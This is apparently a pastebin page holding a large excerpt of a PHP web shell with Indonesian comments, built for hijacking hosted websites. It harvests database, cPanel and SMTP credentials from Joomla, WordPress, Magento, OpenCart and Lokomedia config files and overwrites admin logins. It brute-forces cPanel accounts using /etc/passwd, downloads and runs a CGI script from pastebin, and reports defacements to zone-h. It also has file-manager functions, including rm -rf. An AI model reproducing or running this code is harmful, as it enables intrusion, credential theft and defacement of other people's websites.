- $pass_baru = md5($_POST['pass_baru']);
- $conf = $_POST['config_dir'];
- $scan_conf = scandir($conf);
- foreach($scan_conf as $file_conf) {
- if(!is_file("$conf/$file_conf")) continue;
- $config = file_get_contents("$conf/$file_conf");
- if(preg_match("/JConfig|joomla/",$config)) {
- $dbhost = ambilkata($config,"host = '","'");
- $dbuser = ambilkata($config,"user = '","'");
- $dbpass = ambilkata($config,"password = '","'");
- $dbname = ambilkata($config,"db = '","'");
- $dbprefix = ambilkata($config,"dbprefix = '","'");
- $prefix = $dbprefix."users";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
- $result = mysql_fetch_array($q);
- $id = $result['id'];
- $site = ambilkata($config,"sitename = '","'");
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Joomla<br>";
- if($site == '') {
- echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
- } else {
- echo "Sitename => $site<br>";
- }
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/WordPress/",$config)) {
- $dbhost = ambilkata($config,"DB_HOST', '","'");
- $dbuser = ambilkata($config,"DB_USER', '","'");
- $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
- $dbname = ambilkata($config,"DB_NAME', '","'");
- $dbprefix = ambilkata($config,"table_prefix = '","'");
- $prefix = $dbprefix."users";
- $option = $dbprefix."options";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[ID];
- $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
- $result2 = mysql_fetch_array($q2);
- $target = $result2[option_value];
- if($target == '') {
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
- }
- $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Wordpress<br>";
- echo $url_target;
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/Magento|Mage_Core/",$config)) {
- $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
- $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
- $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
- $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
- $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
- $prefix = $dbprefix."admin_user";
- $option = $dbprefix."core_config_data";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[user_id];
- $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
- $result2 = mysql_fetch_array($q2);
- $target = $result2[value];
- if($target == '') {
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
- }
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Magento<br>";
- echo $url_target;
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
- $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
- $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
- $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
- $dbname = ambilkata($config,"'DB_DATABASE', '","'");
- $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
- $prefix = $dbprefix."user";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
- $result = mysql_fetch_array($q);
- $id = $result[user_id];
- $target = ambilkata($config,"HTTP_SERVER', '","'");
- if($target == '') {
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
- }
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => OpenCart<br>";
- echo $url_target;
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
- $dbhost = ambilkata($config,'server = "','"');
- $dbuser = ambilkata($config,'username = "','"');
- $dbpass = ambilkata($config,'password = "','"');
- $dbname = ambilkata($config,'database = "','"');
- $prefix = "users";
- $option = "identitas";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
- $result = mysql_fetch_array($q);
- $target = $result[alamat_website];
- if($target == '') {
- $target2 = $result[url];
- $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- if($target2 == '') {
- $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
- } else {
- $cek_login3 = file_get_contents("$target2/adminweb/");
- $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
- if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
- $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
- } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
- $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
- } else {
- $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
- }
- }
- } else {
- $cek_login = file_get_contents("$target/adminweb/");
- $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
- if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
- $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
- } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
- $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
- } else {
- $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
- }
- }
- $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
- echo "Config => ".$file_conf."<br>";
- echo "CMS => Lokomedia<br>";
- if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
- echo $url_target2;
- } else {
- echo $url_target;
- }
- if(!$update OR !$conn OR !$db) {
- echo "Status => <font color=red>".mysql_error()."</font><br><br>";
- } else {
- echo "Status => <font color=cyan>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
- }
- mysql_close($conn);
- }
- }
- }
- } else {
- echo "<center>
- <h1>Auto Edit User Config</h1>
- <form method='post'>
- DIR Config: <br>
- <input type='text' size='50' name='config_dir' value='$dir'><br><br>
- Set User & Pass: <br>
- <input type='text' name='user_baru' value='berandal' placeholder='user_baru'><br>
- <input type='text' name='pass_baru' value='berandal' placeholder='pass_baru'><br>
- <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
- </form>
- <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
- ";
- }
- } elseif($_GET['do'] == 'cpanel') {
- if($_POST['crack']) {
- $usercp = explode("\r\n", $_POST['user_cp']);
- $passcp = explode("\r\n", $_POST['pass_cp']);
- $i = 0;
- foreach($usercp as $ucp) {
- foreach($passcp as $pcp) {
- if(@mysql_connect('localhost', $ucp, $pcp)) {
- if($_SESSION[$ucp] && $_SESSION[$pcp]) {
- } else {
- $_SESSION[$ucp] = "1";
- $_SESSION[$pcp] = "1";
- if($ucp == '' || $pcp == '') {
- } else {
- $i++;
- if(function_exists('posix_getpwuid')) {
- $domain_cp = file_get_contents("/etc/named.conf");
- if($domain_cp == '') {
- $dom = "<font color=red>gabisa ambil nama domain nya</font>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
- foreach($domains_cp[1] as $dj) {
- $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_cp_url = $user_cp_url['name'];
- if($user_cp_url == $ucp) {
- $dom = "<a href='http://$dj/' target='_blank'><font color=cyan>$dj</font></a>";
- break;
- }
- }
- }
- } else {
- $dom = "<font color=red>function is Disable by system</font>";
- }
- echo "username (<font color=cyan>$ucp</font>) password (<font color=cyan>$pcp</font>) domain ($dom)<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>sukses nyolong ".$i." Cpanel by <font color=cyan>berandal.</font>";
- }
- } else {
- echo "<center>
- <form method='post'>
- USER: <br>
- <textarea style='width: 450px; height: 150px;' name='user_cp'>";
- $_usercp = fopen("/etc/passwd","r");
- while($getu = fgets($_usercp)) {
- if($getu == '' || !$_usercp) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all("/(.*?):x:/", $getu, $u);
- foreach($u[1] as $user_cp) {
- if(is_dir("/home/$user_cp/public_html")) {
- echo "$user_cp\n";
- }
- }
- }
- }
- echo "</textarea><br>
- PASS: <br>
- <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
- function cp_pass($dir) {
- $pass = "";
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- if(preg_match("/WordPress/", $ambil)) {
- $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/JConfig|joomla/", $ambil)) {
- $pass .= ambilkata($ambil,"password = '","'")."\n";
- } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
- $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
- $pass .= ambilkata($ambil,'password = "','"')."\n";
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
- $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/^[client]$/", $ambil)) {
- preg_match("/password=(.*?)/", $ambil, $pass1);
- if(preg_match('/"/', $pass1[1])) {
- $pass1[1] = str_replace('"', "", $pass1[1]);
- $pass .= $pass1[1]."\n";
- } else {
- $pass .= $pass1[1]."\n";
- }
- } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
- $pass .= ambilkata($ambil,"db_password = '","'")."\n";
- }
- }
- echo $pass;
- }
- $cp_pass = cp_pass($dir);
- echo $cp_pass;
- echo "</textarea><br>
- <input type='submit' name='crack' style='width: 450px;' value='Crack'>
- </form>
- <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
- }
- } elseif($_GET['do'] == 'smtp') {
- echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
- function scj($dir) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- $ambil = str_replace("$", "", $ambil);
- if(preg_match("/JConfig|joomla/", $ambil)) {
- $smtp_host = ambilkata($ambil,"smtphost = '","'");
- $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
- $smtp_user = ambilkata($ambil,"smtpuser = '","'");
- $smtp_pass = ambilkata($ambil,"smtppass = '","'");
- $smtp_port = ambilkata($ambil,"smtpport = '","'");
- $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
- echo "SMTP Host: <font color=cyan>$smtp_host</font><br>";
- echo "SMTP port: <font color=cyan>$smtp_port</font><br>";
- echo "SMTP user: <font color=cyan>$smtp_user</font><br>";
- echo "SMTP pass: <font color=cyan>$smtp_pass</font><br>";
- echo "SMTP auth: <font color=cyan>$smtp_auth</font><br>";
- echo "SMTP secure: <font color=cyan>$smtp_secure</font><br><br>";
- }
- }
- }
- $smpt_hunter = scj($dir);
- echo $smpt_hunter;
- } elseif($_GET['do'] == 'zoneh') {
- if($_POST['submit']) {
- $domain = explode("\r\n", $_POST['url']);
- $nick = $_POST['nick'];
- echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
- echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
- function zoneh($url,$nick) {
- $ch = curl_init("http://www.zone-h.com/notify/single");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
- return curl_exec($ch);
- curl_close($ch);
- }
- foreach($domain as $url) {
- $zoneh = zoneh($url,$nick);
- if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
- echo "$url -> <font color=cyan>OK</font><br>";
- } else {
- echo "$url -> <font color=red>ERROR</font><br>";
- }
- }
- } else {
- echo "<center><form method='post'>
- <u>Defacer</u>: <br>
- <input type='text' name='nick' size='50' value='berandal'><br>
- <u>Domains</u>: <br>
- <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
- <input type='submit' name='submit' value='Submit' style='width: 450px;'>
- </form>";
- }
- echo "</center>";
- } elseif($_GET['do'] == 'cgi') {
- $cgi_dir = mkdir('berandal_cgi', 0755);
- $file_cgi = "berandal_cgi/cgi.izo";
- $isi_htcgi = "AddHandler cgi-script .izo";
- $htcgi = fopen(".htaccess", "w");
- fwrite($htcgi, $isi_htcgi);
- fclose($htcgi);
- $cgi_script = getsource("https://pastebin.com/raw/3mW2wa7a");
- $cgi = fopen($file_cgi, "w");
- fwrite($cgi, $cgi_script);
- fclose($cgi);
- chmod($file_cgi, 0755);
- echo "<iframe src='berandal_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
- } elseif($_GET['do'] == 'fake_root') {
- ob_start();
- $cwd = getcwd();
- $ambil_user = explode("/", $cwd);
- $user = $ambil_user[2];
- if($_POST['reverse']) {
- $site = explode("\r\n", $_POST['url']);
- $file = $_POST['file'];
- foreach($site as $url) {
- $cek = getsource("$url/~$user/$file");
- if(preg_match("/hacked/i", $cek)) {
- echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=cyan>Fake Root!</font><br>";
- }
- }
- } else {
- echo "<center><form method='post'>
- Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
- User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
- Domain: <br>
- <textarea style='width: 450px; height: 250px;' name='url'>";
- reverse($_SERVER['HTTP_HOST']);
- echo "</textarea><br>
- <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
- </form><br>
- NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
- }
- } elseif($_GET['do'] == 'adminer') {
- $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
- function adminer($url, $isi) {
- $fp = fopen($isi, "w");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_FILE, $fp);
- return curl_exec($ch);
- curl_close($ch);
- fclose($fp);
- ob_flush();
- flush();
- }
- if(file_exists('adminer.php')) {
- echo "<center><font color=cyan><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
- } else {
- if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
- echo "<center><font color=cyan><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
- } else {
- echo "<center><font color=red>gagal buat file adminer</font></center>";
- }
- }
- } elseif($_GET['do'] == 'phinfo')
- {@ob_start();@eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div>";}
- elseif($_GET['act'] == 'newfile') {
- if($_POST['new_save_file']) {
- $newfile = htmlspecialchars($_POST['newfile']);
- $fopen = fopen($newfile, "a+");
- if($fopen) {
- $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- }
- echo $act;
- echo "<form method='post'>
- Filename: <input type='text' name='newfile' value='$dir/asu.php' style='width: 450px;' height='10'>
- <input type='submit' name='new_save_file' value='Submit'>
- </form>";
- } elseif($_GET['act'] == 'newfolder') {
- if($_POST['new_save_folder']) {
- $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
- if(!mkdir($new_folder)) {
- $act = "<font color=red>permission denied</font>";
- } else {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- }
- }
- echo $act;
- echo "<form method='post'>
- Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
- <input type='submit' name='new_save_folder' value='Submit'>
- </form>";
- } elseif($_GET['act'] == 'rename_dir') {
- if($_POST['dir_rename']) {
- $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
- if($dir_rename) {
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "<form method='post'>
- <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
- <input type='submit' name='dir_rename' value='rename'>
- </form>";
- } elseif($_GET['act'] == 'delete_dir') {
- if(is_dir($dir)) {
- if(is_writable($dir)) {
- @rmdir($dir);
- @exe("rm -rf $dir");
- @exe("rmdir /s /q $dir");
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color=red>could not remove ".basename($dir)."</font>";
- }
- }
- echo $act;
- } elseif($_GET['act'] == 'view') {
- echo "Filename: <font color=cyan>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
- } elseif($_GET['act'] == 'edit') {
- if($_POST['save']) {
- $save = file_put_contents($_GET['file'], $_POST['src']);
- if($save) {
- $act = "<font color=cyan>Saved!</font>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=cyan>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<form method='post'>
- <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
- <input type='submit' value='Save' name='save' style='width: 500px;'>
- </form>";
- } elseif($_GET['act'] == 'rename') {
- if($_POST['do_rename']) {
- $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
- if($rename) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=cyan>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
- echo "<form method='post'>
- <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
- <input type='submit' name='do_rename' value='rename'>
- </form>";
- } elseif($_GET['act'] == 'delete') {
- $delete = unlink($_GET['file']);
- if($delete) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo $act;
- } else {
- if(is_dir($dir) === true) {
- if(!is_readable($dir)) {
- echo "<font color=red>can't open directory. ( not readable )</font>";
- } else {
- echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr>
- <th class="th_home"><center>Name</center></th>
- <th class="th_home"><center>Type</center></th>
- <th class="th_home"><center>Size</center></th>
- <th class="th_home"><center>Last Modified</center></th>
- <th class="th_home"><center>Owner/Group</center></th>
- <th class="th_home"><center>Permission</center></th>
- <th class="th_home"><center>Action</center></th>
- </tr>';
- $scandir = scandir($dir);
- foreach($scandir as $dirx) {
- $dtype = filetype("$dir/$dirx");
- $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
- if(function_exists('posix_getpwuid')) {
- $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
- $downer = $downer['name'];
- } else {
- //$downer = $uid;
- $downer = fileowner("$dir/$dirx");
- }
- if(function_exists('posix_getgrgid')) {
- $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
- $dgrp = $dgrp['name'];
- } else {
- $dgrp = filegroup("$dir/$dirx");
- }
- if(!is_dir("$dir/$dirx")) continue;
- if($dirx === '..') {
- $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
- } elseif($dirx === '.') {
- $href = "<a href='?dir=$dir'>$dirx</a>";
- } else {
- $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
- }
- if($dirx === '.' || $dirx === '..') {
- $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
- } else {
- $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
- }
- echo "<tr>";
- echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
- echo "<td class='td_home'><center>$dtype</center></td>";
- echo "<td class='td_home'><center>-</center></th></td>";
- echo "<td class='td_home'><center>$dtime</center></td>";
- echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
- echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
- echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
- echo "</tr>";
- }
- }
- } else {
- echo "<font color=red>can't open directory.</font>";
- }
- foreach($scandir as $file) {
- $ftype = filetype("$dir/$file");
- $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
- $size = filesize("$dir/$file")/1024;
- $size = round($size,3);
- if(function_exists('posix_getpwuid')) {
- $fowner = @posix_getpwuid(fileowner("$dir/$file"));
- $fowner = $fowner['name'];
- } else {
- //$downer = $uid;
- $fowner = fileowner("$dir/$file");
- }
- if(function_exists('posix_getgrgid')) {
- $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
- $fgrp = $fgrp['name'];
- } else {
- $fgrp = filegroup("$dir/$file");
- }
- if($size > 1024) {
- $size = round($size/1024,2). 'MB';
- } else {
- $size = $size. 'KB';
- }
- if(!is_file("$dir/$file")) continue;
- echo "<tr>";
- echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
- echo "<td class='td_home'><center>$ftype</center></td>";
- echo "<td class='td_home'><center>$size</center></td>";
- echo "<td class='td_home'><center>$ftime</center></td>";
- echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
- echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
- echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
- echo "</tr>";
- }
- echo "</table>";
- if(!is_readable($dir)) {
- //
- } else {
- echo "<hr>";
- }
- echo "<center>Copyright © ".date("Y")." - <a href='https://www.facebook.com/rafi.izudin' target='_blank'><font color=cyan>Mana Ku Tau</font></a></center>";
- }
- ?>
- </html>
Add Comment
Please, Sign In to add comment